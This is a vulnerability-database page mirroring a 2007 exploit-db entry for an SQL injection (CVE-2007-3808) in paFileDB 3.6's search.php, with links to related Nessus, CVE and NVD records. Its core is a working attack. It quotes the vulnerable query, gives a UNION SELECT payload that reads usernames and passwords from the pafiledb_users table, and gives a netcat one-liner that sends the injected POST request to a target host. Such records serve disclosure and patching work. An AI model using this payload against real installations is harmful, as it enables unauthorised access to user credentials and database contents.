Lucene search
+L

paFileDB 3.6 - 'search.php' SQL Injection

🗓️ 14 Jul 2007 00:00:00Reported by pUmType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 24 Views

SQL injection in paFileDB 3.6 search.ph

Related
Code
ReporterTitlePublishedViews
Family
nessus
Tenable Nessus
paFileDB includes/search.php categories Parameter SQL Injection
16 Jul 200700:00
nessus
nessus
Tenable Nessus
paFileDB includes/search.php categories Parameter SQL Injection
16 Jul 200700:00
nessus
cve
CVE
CVE-2007-3808
17 Jul 200700:00
cve
cvelist
Cvelist
CVE-2007-3808
17 Jul 200700:00
cvelist
euvd
EUVD
EUVD-2007-3792
7 Oct 202500:30
euvd
nvd
NVD
CVE-2007-3808
17 Jul 200700:30
nvd
prion
Prion
Sql injection
17 Jul 200700:30
prion
Site: http://www.phparena.net/pafiledb
Description: SQL injection (categories) in includes/search.php
Code: $results = $db->GetArray("SELECT * FROM ".$dbPrefix."files WHERE (".$searchin.") AND file_catid IN (".implode(',',$_POST['categories']).")");

Comment:"ouuch"

SQL: ) UNION SELECT ALL null,user_username,user_password,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null FROM (pafiledb_users

POC:
host="www.example.com"; echo -e "POST
http://$host/index.php?act=search&process HTTP/1.1\nHost:
$host\nContent-Length:
302\n\nquery=test&search_in[]=file_name&search_in[]=file_desc&search_in[]=file_longdesc&search_in[]=file_creator&search_in[]=file_version&categories[]=1)
UNION SELECT ALL
null,user_username,user_password,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null
FROM (pafiledb_users"| netcat $host 80

Vendor: was informed, but did not response yet...
credits: h4si & pUm

# milw0rm.com [2007-07-14]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation